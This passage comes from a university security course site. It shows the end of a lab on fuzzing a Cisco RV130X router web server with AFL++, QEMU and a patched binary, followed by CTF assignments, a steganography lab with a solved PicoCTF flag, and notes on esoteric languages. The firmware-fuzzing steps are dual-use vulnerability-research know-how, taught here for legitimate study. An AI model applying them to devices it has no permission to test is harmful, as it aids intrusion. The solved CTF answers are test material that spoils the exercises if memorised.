$ gdb-multiarch -q ./usr/sbin/httpd\nGEF for linux ready, type `gef' to start, `gef config' to configure\n95 commands loaded for GDB 9.2 using Python engine 3.8\n[*] 1 command could not be loaded, run `gef missing` to know why.\nReading symbols from ./usr/sbin/httpd...\n(No debugging symbols found in ./usr/sbin/httpd)\ngef\u27a4 b fprintf\nBreakpoint 1 at 0x10a38\ngef\u27a4 target remote :5555\n\u2026\ngef\u27a4 c\n
When the breakpoint on fprintf
hits we can press c and continue for a couple of times to finally inspect the contents of the register r2
.
0xfffe5fa8\u2502+0x0018: 0x30303220 \u2192 0x30303220\n0xfffe5fac\u2502+0x001c: 0x0d6b4f20 \u2192 0x0d6b4f20\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 code:arm:ARM \u2500\u2500\u2500\u2500\n 0xff4eb7b8 <fprintf+4> push {lr} ; (str lr, [sp, #-4]!)\n 0xff4eb7bc <fprintf+8> add r2, sp, #8\n 0xff4eb7c0 <fprintf+12> ldr r1, [sp, #4]\n \u2192 0xff4eb7c4 <fprintf+16> bl 0xff4ee024 <vfprintf>\n \u21b3 0xff4ee024 <vfprintf+0> push {r4, r5, r6, r7, r8, lr}\n 0xff4ee028 <vfprintf+4> mov r5, r0\n 0xff4ee02c <vfprintf+8> ldr r6, [r0, #76] ; 0x4c\n 0xff4ee030 <vfprintf+12> ldr r12, [pc, #144] ; 0xff4ee0c8 <vfprintf+164>\n 0xff4ee034 <vfprintf+16> cmp r6, #0\n 0xff4ee038 <vfprintf+20> add r12, pc, r12\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 arguments (guessed) \u2500\u2500\u2500\u2500\nvfprintf (\n $r0 = 0x000be3c0 \u2192 0xff006085 \u2192 0xff006085,\n $r1 = 0x00093f5c \u2192 0x00007325 \u2192 0x00007325,\n $r2 = 0xfffe5f98 \u2192 0xfffe5fa0 \u2192 0x50545448 \u2192 0x50545448,\n $r3 = 0x000006c8 \u2192 0x000006c8\n)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 threads \u2500\u2500\u2500\u2500\n[#0] Id 1, stopped 0xff4eb7c4 in fprintf (), reason: BREAKPOINT\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 trace \u2500\u2500\u2500\u2500\n[#0] 0xff4eb7c4 \u2192 fprintf()\n[#1] 0x1dd5c \u2192 add sp, sp, #1004 ; 0x3ec\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\ngef\u27a4 x/s *$r2\n0xfffe5fa0: \"HTTP/1.1 200 Ok\\r\\n\"\n
R2 points to a readable string \"HTTP/1.1 200 Ok\\r\\n\" which is the first line of a typical HTTP response. This indicates that desockmulti is working. We are not able to see the HTTP response on-screen but nevertheless, it's working as intended.
At this point we can start fuzzing httpd_patched however, we can further make quality-of-life improvements. For example, the binary requires root to run. It prints the following error message if started without root.
ubuntu@binwalk:~/cisco/_RV130X_FW_1.0.3.55.bin.extracted/squashfs-root/www$ qemu-arm-static -L .. -E USE_RAW_FORMAT=1 -E LD_PRELOAD=../desockmulti.so ../usr/sbin/httpd_patched -p 8080 < ../../base-login-request.txt\n===>HTTPD : scheduler set RR with proirity = 99 FAILED\n--- [1640588459:322474] accept_num=1, connect_num=0\n--- [1640588459:323006] Get pkt, sockindex=0, length=943, pkt[0]=80\n+++ [1640588459:323333] Intercepted socket()! original type=AF_INET6 fd=4\n--- [1640588459:323785] preeny socket bound, Emulating bind on port 8080\n--- [1640588459:324011] preeny listen called, accepting connections ...\n--- [1640588459:324223] preeny connect_write for serverfd=4 started\n--- [1640588459:324466] preeny connect succeeds, write for serverfd=4, client sock index=0\n--- [1640588459:324778] preeny write a 943 bytes packet, client socket index = 0, client sockfd=5\n--- [1640588459:325074] preeny connection for serverfd=4 client sockfd=5 shutdown\n--- [1640588459:325151] pthread_created or directly called for preeny_connect_write, accept_done_num 1, selected_fd_index 0 \n+++ [1640588459:325246] Intercepted socket()! original type=AF_INET6 fd=6\n--- [1640588459:325334] preeny socket bound, Emulating bind on port 8080\n--- [1640588459:325393] preeny listen called, accepting connections ...\n+++ [1640588459:325488] Intercepted socket()! original type=AF_INET fd=7\n--- [1640588459:325725] preeny socket bound, Emulating bind on port 8080\n--- [1640588459:325747] preeny listen called, accepting connections ...\n+++ [1640588459:325976] Intercepted socket()! original type=AF_INET fd=8\n--- [1640588459:326095] preeny socket bound, Emulating bind on port 81 \n--- [1640588459:326118] preeny listen called, accepting connections ... \n+++ [1640588459:326480] Intercepted socket()! original type=AF_INET6 fd=9 \n--- [1640588459:329767] preeny socket bound, Emulating bind on port 81 \n--- [1640588459:329820] preeny listen called, accepting connections ... \n/var/run/httpd.pid: Permission denied\n+++ [1640588459:330676] shutting down desockmulti...\n+++ [1640588459:330844] ... shutdown complete!\n
It fails on trying to access /var/run/httpd.pid. We can patch the binary and change the path to something which doesn\u2019t require root privilege to access. This can be done using a hex editor and also with Cutter.
We can change /var/run/httpd.pid to /home/ubuntu/h.pid and save. The new path is located under the home directory and can be accessed without root. It\u2019s also important to note the length of the replacement string must be less than or equal to the original.
Rerunning httpd_patched we can see it doesn\u2019t show the permission denied error anymore.
ubuntu@binwalk:~/cisco/_RV130X_FW_1.0.3.55.bin.extracted/squashfs-root/www$ qemu-arm-static -L .. -E USE_RAW_FORMAT=1 -E LD_PRELOAD=../desockmulti.so ../usr/sbin/httpd_patched -p 8080 < ../../base-login-request.txt\n===>HTTPD : scheduler set RR with proirity = 99 FAILED\n--- [1640594090:533269] accept_num=1, connect_num=0\n--- [1640594090:533738] Get pkt, sockindex=0, length=943, pkt[0]=80\n+++ [1640594090:533930] Intercepted socket()! original type=AF_INET6 fd=4\n--- [1640594090:534277] preeny socket bound, Emulating bind on port 8080\n--- [1640594090:534400] preeny listen called, accepting connections ...\n--- [1640594090:534562] preeny connect_write for serverfd=4 started\n--- [1640594090:534704] preeny connect succeeds, write for serverfd=4, client sock index=0\n--- [1640594090:534880] preeny write a 943 bytes packet, client socket index = 0, client sockfd=5\n--- [1640594090:535045] preeny connection for serverfd=4 client sockfd=5 shutdown\n--- [1640594090:535144] pthread_created or directly called for preeny_connect_write, accept_done_num 1, selected_fd_index 0\n+++ [1640594090:535228] Intercepted socket()! original type=AF_INET6 fd=6\n--- [1640594090:535283] preeny socket bound, Emulating bind on port 8080\n--- [1640594090:535316] preeny listen called, accepting connections ...\n+++ [1640594090:535359] Intercepted socket()! original type=AF_INET fd=7\n--- [1640594090:535389] preeny socket bound, Emulating bind on port 8080\n--- [1640594090:535404] preeny listen called, accepting connections ...\n+++ [1640594090:535432] Intercepted socket()! original type=AF_INET fd=8\n--- [1640594090:535478] preeny socket bound, Emulating bind on port 81\n--- [1640594090:535511] preeny listen called, accepting connections ...\n+++ [1640594090:535559] Intercepted socket()! original type=AF_INET6 fd=9\n--- [1640594090:535601] preeny socket bound, Emulating bind on port 81\n--- [1640594090:535632] preeny listen called, accepting connections ...\n--- [1640594090:537111] Accept socket at serverfd=4, got fd=10, accept_sock_num=1.\n+++ [1640594090:550073] shutting down desockmulti...\n+++ [1640594090:550229] ... shutdown complete!\n
Additionally, the file h.pid is created within the user's home directory.
$ ls -la /home/ubuntu/h.pid\n-rw-rw-r-- 1 ubuntu ubuntu 4 Dec 27 08:34 /home/ubuntu/h.pid\n
"},{"location":"CS315/Lab%206%20IoT%20Security%20and%20Wireless%20Exploitation/#fuzzing-httpd","title":"Fuzzing httpd","text":"We can now finally proceed to fuzz the patched httpd binary. We need to create two directories: input-httpd and output-httpd. The former will contain the file base-login-request.txt which AFL++ will use to generate further test cases.
ubuntu@fuzz:~/_RV130X_FW_1.0.3.55.bin.extracted/squashfs-root/www$ QEMU_LD_PREFIX=.. QEMU_SET_ENV=USE_RAW_FORMAT=1,LD_PRELOAD=../desockmulti.so ../../../AFLplusplus/afl-fuzz -Q -i ../../input-httpd/ -o ../../output-httpd/ -- ../usr/sbin/httpd_patched -p 8080\n
We can leave the fuzzer as is to continue fuzzing. To quit press Ctrl+C anytime. In our brief test, AFL++ wasn\u2019t able to crash the application.
With this, we come to the end of the two-part AFL fuzzing series. In the first part, we saw how to fuzz simple binaries which accepted input from a file. They required no modifications and were straightforward to fuzz. In this part, we learned how to convert a socketed binary to accept input from a file instead. This required patching the binary on an assembly level and using LD_PRELOAD further to override libc functions. We also saw how to use radamsa to generate test cases as a crude way to fuzz. There is no universal technique that can be applied as-is to fuzz any given closed IoT firmware binary. It will vary on a case-by-case basis but the idea is similar. For any comments, questions or suggestions feel free to leave a comment below.
"},{"location":"CS315/Lab%206%20IoT%20Security%20and%20Wireless%20Exploitation/#reference","title":"Reference","text":"Barun (2022) Fuzzing IOT binaries with AFL++ - part I, Attify Blog - IoT Security, Pentesting and Exploitation. Attify Blog - IoT Security, Pentesting and Exploitation. Available at: https://blog.attify.com/fuzzing-iot-devices-part-1/ (Accessed: October 31, 2022).
Barun (2022) Fuzzing IOT binaries with AFL++ - part II, Attify Blog - IoT Security, Pentesting and Exploitation. Attify Blog - IoT Security, Pentesting and Exploitation. Available at: https://blog.attify.com/fuzzing-iot-binaries-with-afl-part-ii/ (Accessed: October 31, 2022).
"},{"location":"CS315/Lab%206%20IoT%20Security%20and%20Wireless%20Exploitation/#assignment","title":"Assignment","text":""},{"location":"CS315/Lab%206%20IoT%20Security%20and%20Wireless%20Exploitation/#1-easy-liar","title":"(1 - easy) liar","text":"Give me some number:
http://116.7.234.225/files/7a4de0b926cda8e43285c4373b68cd23/liar
"},{"location":"CS315/Lab%206%20IoT%20Security%20and%20Wireless%20Exploitation/#2-easy-ezreverse","title":"(2 - easy) ezreverse","text":"Give me some string with lowercase letter and number
http://116.7.234.225/files/5fbc944afb51241104f3b95605de2436/ezreverse
"},{"location":"CS315/Lab%206%20IoT%20Security%20and%20Wireless%20Exploitation/#3-easy-luckyguess","title":"(3 - easy) LuckyGuess","text":"Hook the binary
http://116.7.234.225/files/ffdaed751038587f1ea6a9c9552b0452/LuckyGuess
"},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/","title":"Lab 7: Forensics and Steganography Part I","text":"bi0s wiki: https://teambi0s.gitlab.io/bi0s-wiki/
"},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#introduction","title":"Introduction","text":""},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#what-is-cyber-forensics","title":"What is Cyber Forensics?","text":"Cyber Forensics is a science that deals with techniques used to track the footprints left behind by a cyber attack. Cyber forensics is directly linked to any cybercrime which has data loss and recovery. Some examples include investigation on possible forged digital signatures, the authenticity of images, analysis of malicious software, etc.
Quote
Cyber Forensics is a science that deals with techniques used to track the footprints left behind by a cyber attack.
Let us go into more detail about the definition from a CTF perspective. Any Capture The Flag contest usually has three prime categories of digital forensics. They are:
When we talk about employment, research, or anything, Cyber Forensics is one of the prime areas which comes into a security analyst's mind. Forensics is strongly employed in Incident Response, Malware Analysis, and Data leak protection. To sum it up, every cybercrime is always related to cyber forensics.
To understand this, let us look into a very dangerous virus attack that almost started world war III. Stuxnet was a virus that was found lurking in the systems which controlled nuclear centrifuges in Iran. Stuxnet had a stolen yet officially authorized digital signature which acted as a very good camouflage. Stuxnet made the windows systems constantly reboot or lead them to Blue Screen of Death. Stuxnet could easily affect any computer which was linked to the network. It was really difficult for security experts to trace it. It severely affected the SCADA systems which were employed in maintaining the rotation speed of the centrifuges. After heavy investigation, when several forensic analysts looked into the SCADA network transfer, they found a malicious program being run that altered the system processes. The main aspect which made Stuxnet almost invisible was that it became active only when its target was present or being run. Until then the virus remained dormant. So as you can see, Cyber forensics played a huge role in the detection of the virus.
Let us look at the trend of cyber-attacks based on the analysis from January 2017-2018:
Some handy definitions:
Cyber crimes are at 77% in 2017
Now let us look at January 2018:
So as you can see, the percentage has increased at an alarming rate.
So, folks, I hope you understand just how important cyber forensics is in the current world of cybersecurity.
"},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#image-forensics","title":"Image Forensics","text":""},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#introduction_1","title":"Introduction","text":""},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#what-is-image-forensics","title":"What is Image Forensics?","text":"To keep it very simple and straight, Image Forensics is a specific branch of cyber forensics that deals with various numbers of attacks.
Some of them include:
So let us look into some of the very basic definitions of the technical terms used in this field to better understand the upcoming topics.
"},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#file-signature","title":"File Signature","text":"A typical file signature is something that defines the nature of a file and also tells us about the specific features of the particular file. This is also called the file header or sometimes the checksum.
So let us look at some examples:
The 'hex' values shown are also called magic numbers.
"},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#chunks","title":"Chunks","text":"Chunks are nothing but fragments of information used by different multimedia formats like PNG, MP3, etc. Each chunk has its header. The header usually describes the type and size of the chunk.
How important are chunks ?
So let us consider that you are trying to open an image using an MP3 player. Will the player open the image? No, right. It'll give me an error message. Every application has a decoder that checks the type of chunks given. When it recognizes that the given chunks are supported, it tries to give the desired output. So whenever it comes across chunks of unknown format, it triggers an error message stating \"Unsupported File Format\"
"},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#checksum","title":"Checksum","text":"The checksum is an integer value that represents the sum of correct digits in a piece of data. Checksums help us to check the data integrity of a file that is transmitted across the digital network. There are many checksum algorithms. Checksum algorithms are employed in various cybersecurity concepts like fingerprinting, cryptographic hash functions, etc.
"},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#lossless-compression","title":"Lossless Compression","text":"The name itself tells that there will be no loss of information when a set of data is compressed. the lossless compression technique is used for reducing the data size for storage. For example, png is a lossless compression and the advantage of a lossless compression file format is that there is no loss of quality each time it is opened or saved.
"},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#lossy-compression","title":"Lossy Compression","text":"In lossy compression, it involves loss of information from the original file when data is compressed. Lossy compression can result in a smaller size of the file but it also removes some original pixels, video frames, and sound waves forever. For example, JPEG is a lossy compression and the disadvantage is that each time the image is saved it loses some amount of data and which simultaneously degrades the image quality.
"},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#metadata-of-an-image","title":"Metadata Of An Image:","text":"Image metadata is a piece of text information that gives information about the details associated with the image. Some of these details are + Size and resolution + The author of the image + The GPS data of this image + The time when the image was taken, the last modification, etc.
So now let us look at the file format of a PNG image:
"},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#portable-network-graphics-png","title":"Portable Network Graphics (PNG)","text":"A PNG is a graphical file format of an image that supports lossless compression.
Magic Number -> 89 50 4E 47 0D 0A 1A 0A
So now let us look at the critical chunks of a PNG image:
"},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#critical-chunks","title":"Critical chunks","text":"IHDR -> Describes image dimensions, color type, bit depth, etc. It must be noted that this must be the first chunk (always).
PLTE -> Contains the list of colors.
IDAT -> Contains the image data.
IEND -> Marks the end of the image.
"},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#ancillary-chunks","title":"Ancillary chunks","text":"Ancillary chunks can be otherwise called optional chunks. These are the chunks that are generally ignored by decoders. Let us look at some examples:
bKGD -> Gives the default background color.
dSIG -> This chunk is used to store the digital signature of the image.
pHYS -> Holds the pixel size and the ratio of dimensions of the image.
All the ancillary chunks start with a small letter.
"},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#executable-and-linkable-format-elf","title":"Executable and Linkable Format (ELF)","text":"The ELF file format is a standard file format for executables, object codes, core dumps, etc. for any UNIX-based system.
Magic Number -> 7F 45 4c 46
The file header of an ELF file defines whether to use 32-bit or 64-bit addresses. ELF files are generally analyzed using a tool called readelf.
"},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#zip","title":"ZIP","text":"Zip is a file format that supports lossless data compression. This file format achieves the compression of a file(s) using several compression algorithms. DEFLATE is the most used compression algorithm. Zip files have the file extension .zip or .ZIP.
Magic Number -> 50 4B 03 04 and 50 4B 05 06(for empty zip files)
Zip files can be extracted using this command in the terminal.
$ unzip file_name.zip\n
"},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#least-significant-bit-encoding","title":"Least Significant Bit Encoding","text":""},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#definition","title":"Definition","text":"What is LSB ?
LSB, the least significant bit is the lowest in a series of numbers in binary; which is located at the far right of a string. For example, in the binary number: 10111001, the least significant bit is the far right 1.
As binary numbers are largely used in computing and other related areas, wherein the least significant bit holds importance, especially when it comes to the transmission of binary numbers.
Digital data is computed in binary format, where the rightmost digit is considered the lowest digit whereas the leftmost is considered the highest digit. In positional notation, the least significant bit is also known as the rightmost bit. It is the opposite of the most significant bit, which carries the highest value in a multiple-bit binary number as well as the number which is farthest to the right. In a multi-bit binary number, the significance of a bit decreases as it approaches the least significant bit. Since it is binary, the most significant bit can be either 1 or 0. The least significant bit is frequently employed in hash functions, checksums, and pseudorandom number generators.
When transmission of binary data is being done, the least significant bit is the one that is transmitted first, followed by other bits of increasing significance.
The number of image pixels in a PNG file is generally composed of RGB three primary colors (red, green, and blue). Each color occupies 8 bits, and the value ranges from 0x00 to 0xFF, that is, there are 256 colors, which contain a total of 256 to the third power. Thus there are 16777216 colors in total.
The human eye can distinguish about 10 million different colors, which means that the human eye can't distinguish the remaining 6 million colors. LSB steganography is to modify the lowest binary bit (LSB) of RGB color components, each color will have 8 bits, LSB steganography is to modify the lowest bit in the number of pixels, and human eyes will not notice before and after this change, each pixel can carry 3 bits of information.
"},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#example","title":"Example","text":""},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#picoctf_2017-little-school-bus","title":"PicoCTF_2017: Little School Bus","text":"Description:
Can you help me find the data in this Little-School-Bus?
Hint:
Look at least a significant bit of encoding!!
"},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#solution","title":"Solution","text":"As the Hint suggests the problem is related to LSB Encoding, The leftmost digit in binary is called the LSB digit
As mentioned earlier LSB encoding is done by changing the LSB bit of the color, however, this slight variation is not noticeable. Thus by changing the LSB bit, we can hide data inside a file.
xxd -b ./littleschoolbus.bmp | head -n 20\n
Gives,
00000000: 01000010 01001101 11100010 01001011 00000010 00000000 BM.K...\n00000006: 00000000 00000000 00000000 00000000 00110110 00000000 ....6.\n0000000c: 00000000 00000000 00101000 00000000 00000000 00000000 ..(...\n00000012: 11111100 00000000 00000000 00000000 11000111 00000000 ......\n00000018: 00000000 00000000 00000001 00000000 00011000 00000000 ......\n0000001e: 00000000 00000000 00000000 00000000 10101100 01001011 .....K\n00000024: 00000010 00000000 00000000 00000000 00000000 00000000 ......\n0000002a: 00000000 00000000 00000000 00000000 00000000 00000000 ......\n00000030: 00000000 00000000 00000000 00000000 00000000 00000000 ......\n00000036: 11111110 11111111 11111111 11111110 11111110 11111111 ......\n0000003c: 11111111 11111110 11111110 11111111 11111111 11111110 ......\n00000042: 11111111 11111111 11111110 11111110 11111110 11111111 ......\n00000048: 11111111 11111110 11111110 11111110 11111110 11111111 ......\n0000004e: 11111110 11111111 11111111 11111110 11111110 11111111 ......\n00000054: 11111111 11111111 11111110 11111111 11111111 11111111 ......\n0000005a: 11111111 11111110 11111111 11111111 11111110 11111111 ......\n00000060: 11111111 11111111 11111110 11111110 11111111 11111110 ......\n00000066: 11111110 11111111 11111111 11111110 11111110 11111111 ......\n0000006c: 11111110 11111111 11111110 11111111 11111111 11111110 ......\n00000072: 11111111 11111111 11111110 11111111 11111110 11111111 ......\n
Taking the LSB bit after the many zeros,
00000036: 11111110 11111111 11111111 11111110 11111110 11111111 ......\n0000003c: 11111111 11111110 11111110 11111111 11111111 11111110 ......\n00000042: 11111111 11111111 11111110 11111110 11111110 11111111 ......\n00000048: 11111111 11111110 11111110 11111110 11111110 11111111 ......\n
8 bit gives
01100110 01101100\n
Which in ASCII is fl
?
Now we script,
binary_data = open(\"littleschoolbus.bmp\",\"rb\") # Open the file binary mode\nbinary_data.seek(54) #seek to 54 bytes these bytes do not contain any data\ndata = binary_data.read() # read the binary data\nl = []\nfor i in data:\n l.append(bin(i)[-1]) #make a list of LSB bit\nfor i in range(0,500,8):\n print(chr(int(''.join(l[i:i+8]),2)),end='') # print the character\n
Which gives the flag !!
flag{remember_kids_protect_your_headers_afb3}
"},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#footnote","title":"Footnote :","text":"Let's play with some real CTF challenges!
Buckeye CTF 2022
"},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#1-easy-what-you-see-is-what-you-git","title":"(1 - easy) what-you-see-is-what-you-git","text":"Author: matthewa26
I definitely made a Git repo, but I somehow broke it. Something about not getting a HEAD of myself.
Downloads: what-you-see-is-what-you-git
"},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#2-easy-sus","title":"(2 - easy) sus","text":"Author: gsemaj
Something about this audio is pretty sus...
Hint: The crackling in the audio should tell you that something's wrong.
Downloads: sus.wav
"},{"location":"CS315/Lab%207%20Forensics%20and%20Steganography%20Part%20I/#3-medium-keyboardwarrior","title":"(3 - medium) keyboardwarrior","text":"Author: v0rtex
I found a PCAP of some Bluetooth packets being sent on this guy's computer. He's sending some pretty weird stuff, you should take a look.
Flag format: buckeyectf{x}
Downloads: keyboardwarrior
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/","title":"Lab 8: Forensics and Steganography Part II","text":"From https://github.com/thezakman/CTF-Heaven
By TheZakMan | March 12st, 2021
Contents are modified with details
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#esoteric-languages","title":"Esoteric Languages","text":""},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#httpstiorun","title":"https://tio.run/","text":"An online tool that has a ton of Esoteric language interpreters.
Some of the languages are regular programming languages, but some of them are esoteric.
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#brainfuck","title":"Brainfuck","text":"This language is easily detectable by its huge use of plus signs, braces, and arrows. There are plenty of online interpreters, like this one: https://copy.sh/brainfuck/ Some example code:
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++++++++++++++.--.--------------.+++++++++++++.----.-----------\n--.++++++++++++.--------.<------------.<++.>>----.+.<+++++++++++.+++++++++++++.>+++++++++++++++++.-------------\n--.++++.+++++++++++++++.<<.>>-------.<+++++++++++++++.>+++..++++.--------.+++.<+++.<++++++++++++++++++++++++++\n.<++++++++++++++++++++++.>++++++++++++++..>+.----.>------.+++++++.--------.<+++.>++++++++++++..-------.++.\n
The language consists of eight commands, listed below. A brainfuck program is a sequence of these commands, possibly interspersed with other characters (which are ignored). The commands are executed sequentially, with some exceptions: an instruction pointer begins at the first command, and each command it points to is executed, after which it normally moves forward to the next command. The program terminates when the instruction pointer moves past the last command.
The brainfuck language uses a simple machine model consisting of the program and instruction pointer, as well as a one-dimensional array of at least 30,000 byte cells initialized to zero; a movable data pointer (initialized to point to the leftmost byte of the array); and two streams of bytes for input and output (most often connected to a keyboard and a monitor respectively, and using the ASCII character encoding).
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#commands","title":"Commands","text":"The eight language commands each consist of a single character:
Character Meaning>
Increment the data pointer (to point to the next cell to the right). <
Decrement the data pointer (to point to the next cell to the left). +
Increment (increase by one) the byte at the data pointer. -
Decrement (decrease by one) the byte at the data pointer. .
Output the byte at the data pointer. ,
Accept one byte of input, storing its value in the byte at the data pointer. [
If the byte at the data pointer is zero, then instead of moving the instruction pointer forward to the next command, jump it forward to the command after the matching ]
command. ]
If the byte at the data pointer is nonzero, then instead of moving the instruction pointer forward to the next command, jump it back to the command after the matching [
command. (Alternatively, the ]
command may instead be translated as an unconditional jump to the corresponding [
command, or vice versa; programs will behave the same but will run more slowly, due to unnecessary double searching.)
[
and ]
match as parentheses usually do: each [
matches exactly one ]
and vice versa, the [
comes first, and there can be no unmatched [
or ]
between the two.
Brainfuck programs can be translated into C using the following substitutions, assuming ptr
is of type char*
and has been initialized to point to an array of zeroed bytes:
char array[30000] = {0}; char *ptr = array;
>
++ptr;
<
--ptr;
+
++*ptr;
-
--*ptr;
.
putchar(*ptr);
,
*ptr = getchar();
[
while (*ptr) {
]
}
As the name suggests, Brainfuck programs tend to be difficult to comprehend. This is partly because any mildly complex task requires a long sequence of commands and partly because the program's text gives no direct indications of the program's state. These, as well as Brainfuck's inefficiency and its limited input/output capabilities, are some of the reasons it is not used for serious programming. Nonetheless, like any Turing complete language, Brainfuck is theoretically capable of computing any computable function or simulating any other computational model, if given access to an unlimited amount of memory.[8] A variety of Brainfuck programs have been written.[9] Although Brainfuck programs, especially complicated ones, are difficult to write, it is quite trivial to write an interpreter for Brainfuck in a more typical language such as C due to its simplicity. There even exist Brainfuck interpreters written in the Brainfuck language itself.[10][11]
Brainfuck is an example of a so-called Turing tarpit: It can be used to write any program, but it is not practical to do so, because Brainfuck provides so little abstraction that the programs get very long or complicated.
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#malboge","title":"Malboge","text":"An esoteric language that looks a lot like Base85... but isn't. Often has references to \"Inferno\" or \"Hell\" or \"Dante.\" Online interpreters like so: http://www.malbolge.doleczek.pl/ Example code:
(=<`#9]~6ZY32Vx/4Rs+0No-&Jk)\"Fh}|Bcy?`=*z]Kw%oG4UUS0/@-ejc(:'8dc\n
Malbolge is machine language for a ternary virtual machine, the Malbolge interpreter.
The standard interpreter and the official specification do not match perfectly.[11] One difference is that the compiler stops execution with data outside the 33\u2013126 range. Although this was initially considered a bug in the compiler, Ben Olmstead stated that it was intended and there was in fact \"a bug in the specification\".[2]
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#registers","title":"Registers","text":"Malbolge has three registers, a, c, and d. When a program starts, the value of all three registers is zero.
a stands for 'accumulator', set to the value written by all write operations on memory and used for standard I/O. c, the code pointer, is special: it points to the current instruction.[12] d is the data pointer. It is automatically incremented after each instruction, but the location it points to is used for the data manipulation commands.
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#pointer-notation","title":"Pointer notation","text":"d can hold a memory address; [d] is register indirect; the value stored at that address. [c] is similar.
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#memory","title":"Memory","text":"The virtual machine has 59,049 (310) memory locations that can each hold a ten-trit ternary number. Each memory location has an address from 0 to 59048 and can hold a value from 0 to 59048. Incrementing past this limit wraps back to zero.
The language uses the same memory space for both data and instructions. This was influenced by how hardware such as x86 architecture worked.[2]
Before a Malbolge program starts, the first part of memory is filled with the program. All whitespace in the program is ignored and, to make programming more difficult, everything else in the program must start out as one of the instructions below.
The rest of memory is filled by using the crazy operation (see below) on the previous two addresses ([m] = crz [m - 2], [m - 1]). Memory filled this way will repeat every twelve addresses (the individual ternary digits will repeat every three or four addresses, so a group of ternary digits is guaranteed to repeat every twelve).
In 2007, \u00d8rjan Johansen created Malbolge Unshackled, a version of Malbolge which does not have the arbitrary memory limit. The hope was to create a Turing-complete language while keeping as much in the spirit of Malbolge as possible. No other rules are changed, and all Malbolge programs that do not reach the memory limit are completely functional.[13]
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#instructions","title":"Instructions","text":"Malbolge has eight instructions. Malbolge figures out which instruction to execute by taking the value [c], adding the value of c to it, and taking the remainder when this is divided by 94. The final result tells the interpreter what to do:
